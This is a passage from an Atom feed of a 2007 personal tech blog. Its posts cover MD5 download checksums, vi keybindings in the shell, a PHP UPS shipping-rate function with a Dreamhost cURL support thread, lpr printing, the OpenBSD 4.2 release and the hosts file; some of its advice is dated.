		<content type="html">&lt;p&gt;Ever downloaded something that has a weird 32 digit number/letter combination next to the download link?  Or a link called md5?  These numbers are a sum of the programs bits using the md5 algorithm.  What the md5 algorithm does is make calculations based on the bits that make up the program.  If one bit is in the wrong place altered or changed in the program the resulting md5 number/letter combination, also known as a hash, will return a completely different combination.  It is kind of like a fractal.  If you add or subtract the tiniest amount of data the entire result is thrown off &lt;strong&gt;completely&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So why is this important?  What the md5 algorithm allows programmers to do is give their users or downloaders of their software the guarantee that the downloaded file is delivered exactly as intended.  It like comparing the DNA of the program to the original.  The author is saying hey, here is the program&amp;rsquo;s &amp;ldquo;DNA&amp;rdquo;, da1e100dc9e7bebb810985e37875de38.  Now when you calculate the md5 hash of the authors program, you can compare the &amp;ldquo;DNA&amp;rdquo; of the program and verify that it is an exact match.  This proves that you have received the program that the author has intended to give you.  What this means is that you can be certain that the program that you have downloaded does not contain extra information, like a virus, trojan, or rootkit that is attached to the original file.&lt;/p&gt;

&lt;p&gt;Users of linux have used md5 to verify their programs for years with one simple command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;md5 filename&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;But for windows users it is a little bit more difficult since it is not installed with windows by default.&lt;/p&gt;

&lt;h3&gt;Making Windows Calculate Md5 Hashes&lt;/h3&gt;

&lt;p&gt;First you will need to download an &lt;a href=&#34;http://www.pc-tools.net/files/win32/freeware/md5sums-1.2.zip&#34;&gt;md5 hashing program&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now once you have the md5 program you can now calculate hashes with the windows command line but it is not very convenient for you point and click windows users.&lt;/p&gt;

&lt;p&gt;To make it easier to calculate md5sums you should copy md5sums.exe to c:/windows/system32.  This way you can calculate md5 hashes using the run command.  To further make it easy to calculate md5sums create a shortcut in &amp;ldquo;c:/Documents and Settings/username/SendTo&amp;rdquo;.  Called md5sums.  Have the shortcut point to &amp;ldquo;c:/windows/system32/md5sums.exe -p&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;Now any time you want to calculate the md5 hash of a download just right click on the file choose send to &amp;gt; md5sums.exe.&lt;/p&gt;

&lt;p&gt;Do you use md5 sums when you download files?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Use VI Functions in the Command Line</title>
		<link href="https://www.marksanborn.net/linux/use-vi-functions-in-the-command-line/index.html" />
		<updated>2007-12-12T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/use-vi-functions-in-the-command-line/index.html</id>
		<content type="html">&lt;p&gt;If you are not familiar with the awesomeness of VI(m) check out this post,  &lt;a href=&#34;/linux/making-gvim-your-default-text-editor-in-gnome/&#34;&gt;Making GVim your Default Text Editor in Gnome&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For those of you that already know that VI can save you time and give you a +10 on the geek scale, I have a tip for you.&lt;/p&gt;

&lt;p&gt;You can use those same commands that you love in VI on your command line.&lt;/p&gt;

&lt;h3&gt;Setting up VI on your Command Line&lt;/h3&gt;

&lt;p&gt;To setup your VI commands on the command line simply type this at your command prompt, &lt;strong&gt;set -o vi&lt;/strong&gt; then hit enter.&lt;/p&gt;

&lt;p&gt;Thats it&amp;hellip;&lt;/p&gt;

&lt;p&gt;Now you can use VI commands in your terminal.  For instance do delete the line type &amp;lsquo;dd&amp;rsquo;.  to delete to the end of the line type &amp;rsquo;d$&amp;lsquo;.  There are &lt;a href=&#34;/linux/10-linux-shortcuts-you-cant-live-without/&#34;&gt;shortcuts&lt;/a&gt; for the command line without using VI but I find it easier to learn one set of commands and use them for everything.&lt;/p&gt;

&lt;p&gt;Here is a list of of commonly used VI commands:&lt;/p&gt;

&lt;h3&gt;VI Commands&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;esc    return to command mode; used by most change commands&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;h, j, k, l    move the cursor around. h=left, j=down, k=up, l=right&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;^F    move forward full screen&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;^B    move back full screen&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;^U    move up half screen&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;^D    move down half screen&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;^L    clear and redraw screen (^R)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;w     move forward to beginning of next word&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;W     move forward to beginning of next word after space&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;e     move cursor to end of word&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;E     move cursor to next space&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;$     move cursor to end of line (3$ moves to end of third line)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;b     move cursor to beginning of word&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;B     move cursor to previous space&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;0 (zero)  move cursor to beginning of line&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;K     invokes the man page for the word under the cursor (may only work in VI-improved which is available for most operating systems, including MS windows).&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;[[    goto beginning of section (use (, { or&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;]]    reverse of [[&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;G     go to indicated line # (enter number first)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;/     search (enter string after / at bottom of screen)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;n     find next search instance&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;N     reverse of n&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;%     find matching (, ), [, ], {, or }&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;i     insert text from current cursor position;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I     insert text at start of line;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;o     opens a new line below cursor&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;O     opens a new line above cursor&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;J     joins next line to end of current line&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;r     replace character under cursor&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;R     enters replace (typeover) mode;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;s     substitute character under cursor with one or many;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;S     substitute whole line;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;a     appends after cursor;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;A     appends after current line;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;cw    change current word starting at cursor;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;C     change to end of line;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;dw    delete current word starting at cursor&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;dd    delete current line; delete 3 lines (3dd)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;D     delete to end of line&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;yy    yank data: yank 1 line (yy), yank 3 lines (3yy), yank lines below the cursor (yy) or above the cursor (yk), words (yw), from thecursor position to the end of the line (y$) or the beginning of the line(y0), characters to the right of the cursor (yl) or to the left (yh)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;p     put data yanked with y&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;u     undo most recent change&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;.     repeat most recent change-producing command&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup : Week 1</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-1/index.html" />
		<updated>2007-12-01T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-1/index.html</id>
		<content type="html">&lt;p&gt;In this post I am going to publish the links that I found interesting this week.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.go2linux.org/firefox-3-vs-firefox-2&#34;&gt;Firefox 3 vs Firefox 2&lt;/a&gt; - Great comparison of Firefox 3 with Firefox 2. Nice one!&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.kde.org/announcements/announce-4.0-rc1.php&#34;&gt;First Release Candidate of KDE 4.0 available&lt;/a&gt; - The KDE community released the first release candidate for the new major version, KDE 4.0. This release candidate marks that the majority of the components of KDE 4.0 are now approaching release quality.  I can&amp;rsquo;t want to test kde4 as I have been pretty frustrated with gnome lately.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://arstechnica.com/news.ars/post/20071127-banning-wikipedia-at-school-good-idea-or-missed-opportunity.html&#34;&gt;Banning Wikipedia at school: good idea or missed opportunity?&lt;/a&gt; - A Pennsylvania school district has banned access to Wikipedia on grounds that it is not an accurate source of information. Critics argue that it&amp;rsquo;s a missed opportunity to teach media literacy. - Wikipedia is by far the most informational website I have found on the majority of topics I search.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.readwriteweb.com/archives/tutorial_sites.php&#34;&gt;Massive list of tutorial websites&lt;/a&gt; - Read write web has a large list of tutorial websites.  If you are bored and want to learn a cool trick or new skill check these out.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photo_zoom.gne?id=2043531937&#34;&gt;Always use protection&lt;/a&gt; - A funny picture&amp;hellip; btw if you are still using Internet Explorer for your main browser I suggest that you switch to, Firefox.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Calculating UPS Shipping Rate with PHP</title>
		<link href="https://www.marksanborn.net/php/calculating-ups-shipping-rate-with-php/index.html" />
		<updated>2007-11-27T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/calculating-ups-shipping-rate-with-php/index.html</id>
		<content type="html">&lt;div class=&#34;alert alert-info&#34;&gt;
&lt;strong&gt;Update:&lt;/strong&gt; For a no fuss, 100% complete UPS Online Tools script with label printing support, integration support and automatic certification generation (required by UPS), I have created, &lt;a href=&#34;https://rocketshipit.com/?utm_source=msnet&amp;utm_medium=link&amp;utm_campaign=blog&#34;&gt;RocketShipIt&lt;/a&gt;.
&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Comments have also been disabled as this script is old and no longer being supported, if you need support please see: &lt;a href=&#34;https://rocketshipit.com/?utm_source=msnet&amp;amp;utm_medium=link&amp;amp;utm_campaign=blog&#34;&gt;RocketShipIt&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It&amp;rsquo;s actually very easy to calculate shipping from UPS with PHP once you know how.  But at first glance it seems like an impossible task to do.&lt;/p&gt;

&lt;p&gt;The UPS manual for XML shipping calculation is hundreds of pages long and unfortunately provides no examples written in PHP. Only ASP&amp;hellip;  Damn them!  After hours of reading the UPS manual and lots of Google searching I figured out how to make my own and I thought I would share my method.  So in today&amp;rsquo;s post we will look at an example ups rate calculation using PHP.&lt;/p&gt;

&lt;p&gt;If you are looking for the United States Postal Service (USPS) function see,  &lt;a href=&#34;/php/calculating-usps-shipping-rates-with-php/&#34;&gt;Calculating USPS Shipping Rates with PHP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can also &lt;a href=&#34;/php/tracking-ups-packages-with-php/&#34;&gt;integrate UPS Tracking features&lt;/a&gt; on your site once you get a handle on this.&lt;/p&gt;

&lt;h3&gt;Things you will need&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;UPS Online Tool Account - free but requires &lt;a href=&#34;https://www.ups.com/servlet/registration?loc=en_US&amp;amp;returnto=http%3A%2F%2Fwww.ups.com%2Fe_comm_access%2FlaServ%3Floc%3Den_US&#34;&gt;registration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;UPS Access Key - Comes with the online tool account&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://curl.haxx.se/download.html&#34;&gt;cURL&lt;/a&gt; - Most LAMP (Linux, Apache, Mysql, PHP) web hosts have this installed by default.&lt;/li&gt;
&lt;li&gt;PHP - You must know a little bit about using php.  After all you are about to create a custom UPS shipping calculator.&lt;/li&gt;
&lt;li&gt;XML - If you know what PHP is you should know what this is.  If not read about it &lt;a href=&#34;http://en.wikipedia.org/wiki/XML&#34;&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;SSH access - Many web hosts offer this.  You don&amp;rsquo;t HAVE to have it but it makes troubleshooting easier.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Basically you start off by getting setup with UPS and grabbing a copy of their XML manual.  Now you need to construct an XML file that will be later sent off to UPS&amp;rsquo;s server.  UPS will then send a response back to you in XML format.  We then use PHP to turn the XML into variables that we can use and manipulate.  Even add the shipping cost into the subtotal or final checkout cost.  After all, whats the use of calculating UPS shipping if you are not going to charge the user for it.&lt;/p&gt;

&lt;p&gt;Copy the &lt;a href=&#34;/wp-content/uploads/2007/11/ups.html&#34;&gt;UPS PHP Function&lt;/a&gt; I have created into a new .txt file and name it ups.php.&lt;/p&gt;

&lt;p&gt;Go through this function and find the parts in the XML file that are in CAPS, You will need to add your UPS shipper number, access key, username, password, departure zip, etc&amp;hellip;&lt;/p&gt;

&lt;p&gt;Then create another .php file and make sure to include ups.php.&lt;/p&gt;

&lt;p&gt;It might look something like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;require_once(&amp;quot;ups.php&amp;quot;)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now all you have to do to get an accurate UPS rate for a package is call the ups function.&lt;/p&gt;

&lt;p&gt;The basic syntax for the function is:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ups($dest_zip,$service,$weight,$length,$width,$height)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So, for example if you wanted to send a five pound package to Beverly Hills CA using UPS ground you would do this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ups(90210,03,5,5,5,5)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here is an already written &lt;a href=&#34;/wp-content/uploads/2007/12/upstest.txt&#34;&gt;php test file&lt;/a&gt; that uses the ups function.&lt;/p&gt;

&lt;p&gt;By now you may be wondering how I know that 03 is the code for UPS ground and you also may be wondering what the code is for 2nd Day Air.&lt;/p&gt;

&lt;p&gt;You can find all this information in the huge manual with the name &lt;strong&gt;dtk_RateXML_V1.zip&lt;/strong&gt;.  You can find this manual on the UPS website after you login under UPS Rates and Services Selection but to save you the time I have listed them below.&lt;/p&gt;

&lt;h3&gt;UPS Service Selection Codes&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;01 - UPS Next Day Air&lt;/li&gt;
&lt;li&gt;02 - UPS Second Day Air&lt;/li&gt;
&lt;li&gt;03 - UPS Ground&lt;/li&gt;
&lt;li&gt;07 - UPS Worldwide Express&lt;/li&gt;
&lt;li&gt;08 - UPS Worldwide Expedited&lt;/li&gt;
&lt;li&gt;11 - UPS Standard&lt;/li&gt;
&lt;li&gt;12 - UPS Three-Day Select&lt;/li&gt;
&lt;li&gt;13 Next Day Air Saver&lt;/li&gt;
&lt;li&gt;14 - UPS Next Day Air Early AM&lt;/li&gt;
&lt;li&gt;54 - UPS Worldwide Express Plus&lt;/li&gt;
&lt;li&gt;59 - UPS Second Day Air AM&lt;/li&gt;
&lt;li&gt;65 - UPS Saver&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Feel free to edit the function.  The XML part of the code should be altered to fit your needs.  This function only has the basic elements needed to calculate a rate.  There are other attributes you can specify in the XML part of the document, such as pickup type, packaging type, etc&amp;hellip;&lt;/p&gt;

&lt;p&gt;Unlike some UPS Rate calculators you do not need to update the fuel surcharges or anything else.  These rates come straight from UPS and are as accurate as your XML file has specified.&lt;/p&gt;

&lt;h3&gt;Troubleshooting&lt;/h3&gt;

&lt;p&gt;If it&amp;rsquo;s not working and you think you may have messed up the PHP code you can test to see if it is working by sending your XML file with curl.&lt;/p&gt;

&lt;p&gt;Log into your host via SSH, make an xml file named RequestXML.txt.  Then run this command.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl -d @RequestXML.txt  https://www.ups.com/ups.app/xml/Rate&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you want to use UPS&amp;rsquo;s testing server you can use this URL:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://wwwcie.ups.com/ups.app/xml/Rate&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Special Instructions for Godaddy&lt;/h3&gt;

&lt;p&gt;Godaddy requires a minor change in the ups function. After reading &lt;a href=&#34;http://help.godaddy.com/article.php?article_id=289&amp;amp;topic_id=435&#34;&gt;this article&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;You need to have a proxy to use cURL on Godaddy.&lt;/p&gt;

&lt;p&gt;So under this line:
&lt;code&gt;“curl_setopt($ch,CURLOPT_TIMEOUT, 60);”&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;add this:
&lt;code&gt;“curl_setopt($ch,CURLOPT_PROXY,’http://proxy.shr.secureserver.net:3128′);”&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Information for Dreamhost Users&lt;/h3&gt;

&lt;p&gt;If you are using Dreamhost as your webhost, there is currently something wrong with the way they handle cURL.  It takes almost 60 seconds to receive a response.  This is not the script or UPS&amp;rsquo;s fault.  As of 01-24-2008 I have a support ticket out to fix the problem.  I am getting emails from them and I will update this post as soon as I get a fix or information from them.&lt;/p&gt;

&lt;p&gt;Here are the emails I have received from Dreamhost regarding the issue:&lt;/p&gt;

&lt;p&gt;On Thu, 24 Jan 2008, you wrote:&lt;/p&gt;

&lt;p&gt;So I am using cURL to send a receive XML requests for the purposes of shipping products via UPS.&lt;/p&gt;

&lt;p&gt;A year ago cURL responses were almost immediate.  Today (and the last few months)  they seem to take almost 60 seconds to send and receive the same XML file.  Out of laziness on my part I have not complained about the issue until now.  But I need to know what I can do to speed this up a bit.&lt;/p&gt;

&lt;p&gt;Attached will be an example of the code I use.&lt;/p&gt;

&lt;p&gt;Thanks in advance&lt;/p&gt;

&lt;p&gt;Mark&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We don&amp;rsquo;t really troubleshoot code but I would think the most likely
explanation (since cURL in itself should be very fast) is that something
changed with UPS&amp;rsquo;s site where it slowed down or the process keeps pending
for some reason until it times out. You could try setting the timeout to
a lower amount (15-20 seconds) and see if it still gets the data or not.
Another thing to test the theory if its on USP&amp;rsquo;s site would be to make a
regular static page which sends the same POST data to UPS&amp;rsquo;s site see how
long it takes to fetch the results. Please let me know if you have any
additional questions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I guess I should have included this in my original email.  I have tried this exact code on other hosting servers and it works almost instantly. I have indeed sshed and ran cURL by itself and it is extremely slow.  This is definitely not a code issue or UPS slow server issue.  I can send the same request via curl on my home computer and it is faster than dreamhost.&lt;/p&gt;

&lt;p&gt;Please advise&lt;/p&gt;

&lt;p&gt;Mark&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Although normally we do not assist customers with third party software,
I&amp;rsquo;ve dealt with similar issues in the past with UPS. Could you please
send me the complete path of the PHP that&amp;rsquo;s running slowly? I can run
some debugging software on it for you to see if there is anything hanging
things up and anything I can do to fix it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Thankyou for attempting to solve my issue.  I still must insist that it is not a third party software issue.  I believe this has nothing to do with UPS.  As stated in my earlier email the PHP is not to blame here either.  The problem lies within the response time of cURL.&lt;/p&gt;

&lt;p&gt;To seperate php from the equation I went ahead and created an xml text file on my root directory on dreamhost.  I then ran the following command:&lt;/p&gt;

&lt;p&gt;curl -d @xml.txt &lt;a href=&#34;https://www.ups.com/ups.app/xml/Rate&#34;&gt;https://www.ups.com/ups.app/xml/Rate&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It took 56.853 seconds to receive a response from Dreamhost.
I copied the same xml.txt file to my personal home computer and ran the same command and received a response in 1.2 seconds.&lt;/p&gt;

&lt;p&gt;I will attach a log of the commands I ran.&lt;/p&gt;

&lt;p&gt;As you can see it takes Dreamhost way longer to send/receive responses via curl.  If you want to test it yourself you can run the same command I did from my home directory.  The xml file is in there.&lt;/p&gt;

&lt;p&gt;Thanks for your help in this matter.  If you have any questions about my analysis please email.&lt;/p&gt;

&lt;p&gt;Mark&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Alright, I&amp;rsquo;ve run some tests and asked some admins their opinions and
here are the results.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It appears that the slowness is because cURL is trying to reverse lookup
the IP address for www.ups.com which is timing out. This is the culprit,
but, unfortunately there is no easy fix for it if you must use cURL.&lt;/p&gt;

&lt;p&gt;Here is the strace results:&lt;/p&gt;

&lt;p&gt;connect(3, {sa_family=AF_INET, sin_port=htons(53),
sin_addr=inet_addr(&amp;ldquo;66.33.216.208&amp;rdquo;)}, 28) = 0
send(3, &amp;ldquo;\230\313\1\102500322801203153\7&amp;rdquo;&amp;hellip;, 43,
0) = 43
gettimeofday({1201218751, 713629}, NULL) = 0
poll(&lt;/p&gt;

&lt;p&gt;This is what it&amp;rsquo;s lagging on (as the DNS lookup takes 3-5 seconds to time
out)&lt;/p&gt;

&lt;p&gt;One quick option may be to instead use fopen for the URL &amp;ndash; of course to
do this you&amp;rsquo;ll need to  install a custom PHP.ini file and customize it to
allow_url_fopen ( &lt;a href=&#34;http://wiki.dreamhost.com/PHP.ini&#34;&gt;http://wiki.dreamhost.com/PHP.ini&lt;/a&gt; )&lt;/p&gt;

&lt;p&gt;Sorry about the semi-bad news. Of course if you have any other questions&lt;/p&gt;

&lt;p&gt;Why would a reverse look up to a well known domain such as www.ups.com fail?  Why can other webhosts receive cURL responses with out a hangup?&lt;/p&gt;

&lt;p&gt;When you say that a reverse lookup is causing a 3-5 second timeout why is curl taking over 60 seconds to receive a response?  I would be more than happy to have a 3-5 second response time.&lt;/p&gt;

&lt;p&gt;Why did curl respond much faster on Dreamhost prior to 10/09/2007? (I looked back in my emails and found the date I started having slow response times)&lt;/p&gt;

&lt;p&gt;Mark&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Sorry for the delay in getting back to you&amp;hellip;our support system has been
pretty backlogged lately.  The only explanation I can come up with is a
quirky routing issue or something&amp;hellip;I&amp;rsquo;ve seen it before, specifically
with UPS, and the only solution was to use the IPs rather than the
hostnames.  I am sorry we don&amp;rsquo;t have a better solution for you.  If it is
possibly something on our end, we have no idea what it is, I&amp;rsquo;m afraid.  I
apologize for the hassle.&lt;/p&gt;
&lt;/blockquote&gt;
</content>
	</entry>
	
	<entry>
		<title>OpenBSD 4.2 was Released Today</title>
		<link href="https://www.marksanborn.net/linux/openbsd-42-was-released-today/index.html" />
		<updated>2007-11-01T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/openbsd-42-was-released-today/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.openbsd.org/42.html&#34;&gt;OpenBSD 4.2&lt;/a&gt; has been released and available for download. OpenBSD is famous for its focus on security. Today, November 1st, the team is proud to announce Release 4.2.&lt;/p&gt;

&lt;p&gt;Even though security is still there, this release comes with some amazing performance improvements: basic benchmarks showed PF being twice as fast, a rewrite of the TLB shootdown code for i386 and amd64 cut the time to do a full package build by 20 percent (mostly because all the forks in configure scripts have become much cheaper), and the improved frequency scaling on MP systems can help save nearly 20 percent of battery power.&lt;/p&gt;

&lt;h3&gt;Download OpenBSD 4.2&lt;/h3&gt;

&lt;p&gt;For greater convenience, the new 4.2 release also comes with roughly ~200MB full install ISO images called “install42.iso”. If you download this file, you do not need the other standard install files. Select&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Mirror # 1: &lt;a href=&#34;http://mirror.planetunix.net/pub/OpenBSD/4.2/i386/install42.iso&#34;&gt;USA&lt;/a&gt; (200 MB ISO file)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.openbsd.org/ftp.html#http&#34;&gt;Other http mirrors&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/11/puff.gif&#34; alt=&#34;OpenBSD Mascott&#34; /&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Printing from the Linux Command Line</title>
		<link href="https://www.marksanborn.net/linux/printing-from-the-linux-command-line/index.html" />
		<updated>2007-10-31T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/printing-from-the-linux-command-line/index.html</id>
		<content type="html">&lt;p&gt;So you have your printer set up with CUPS and you can now print.  Ever want to print from the command line? Ever need your bash script to print out system status reports or simply want to print out entire directory of pdfs all in one shot without having to open each pdf individually?  Than this quick tip is for you.&lt;/p&gt;

&lt;p&gt;After you can successfully print and have your default printer setup in Linux.  Open up the terminal.  The command to print in Linux is &amp;lsquo;&lt;strong&gt;lpr&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;From here you can use the command just like you would any other Linux command.  For example if you wanted to print out all pdf&amp;rsquo;s in a directory you would simply use the following command.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;lpr *.pdf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I am sure you can find all kinds of ways to use this.  Even ways to torment your co-workers by setting up a cron job lpr print that will print random sayings with &amp;lsquo;&lt;strong&gt;fortune&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;#!/bin/bash 
COUNTER=0
while [  $COUNTER -lt 10 ]; do
sleep 10m
fortune | lpr
let COUNTER=COUNTER+1 
done&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To use this script open your favorite text editor and create a file with any name you want&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim randomFortunePrint&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then paste the code and save the file.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;:wq&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then make the file executable by changing the permissions on your file to 755.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;chmod 755 randomFortunePrint&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Run your program with:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sh randomFortunePrint&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Here is what mine said.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Q:      Why did the astrophysicist order three hamburgers?
A:      Because he was hungry.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I am sure you can find more constructive ways to use this.  :) Please let me know what kinds of things you guys come up with.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>The Hosts File</title>
		<link href="https://www.marksanborn.net/security/the-hosts-file/index.html" />
		<updated>2007-10-18T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/the-hosts-file/index.html</id>
		<content type="html">&lt;p&gt;The hosts file is a text file that specifies names of &lt;a href=&#34;/howto/find-your-ip-address/&#34;&gt;IP addresses&lt;/a&gt;.  You may recognize this name by the term, URL.  Your computer&amp;rsquo;s operating system by default will always look up the name (url) of a site through your computer first.  If your computer doesn&amp;rsquo;t know the name it then forwards the request to your router or ISP&amp;rsquo;s router.  If that router doesn&amp;rsquo;t know the address it goes to the next router down the line and so on until one of the routers says, I know where this is at&amp;hellip; and points you on your way.&lt;/p&gt;

&lt;h3&gt;Uses&lt;/h3&gt;

&lt;p&gt;So what is this file normally used for you ask?  Well the host file can be used in various ways.  Some people use the host file to name a computer on their network so they don&amp;rsquo;t have to type in the IP address every time they want to connect.  The host file can be the first defense for blocking websites that you don&amp;rsquo;t want your kids to have access to.  Although it is infeasible to block all bad sites on the internet, you can block myspace.com for example if you know your workers aren&amp;rsquo;t getting anything done because they are too busy checking up on john and sally.  I know there are much better ways to block a site but this is a simple way that works for most situations.&lt;/p&gt;

&lt;h3&gt;Where can I find it?&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;In windows the host file is located here:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;c:/Windows/System32/drivers/etc/hosts&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and it looks like this by default:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# Copyright (c) 1993-2006 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a &#39;#&#39; symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
127.0.0.1       localhost
::1             localhost
&lt;/code&gt;&lt;/pre&gt;

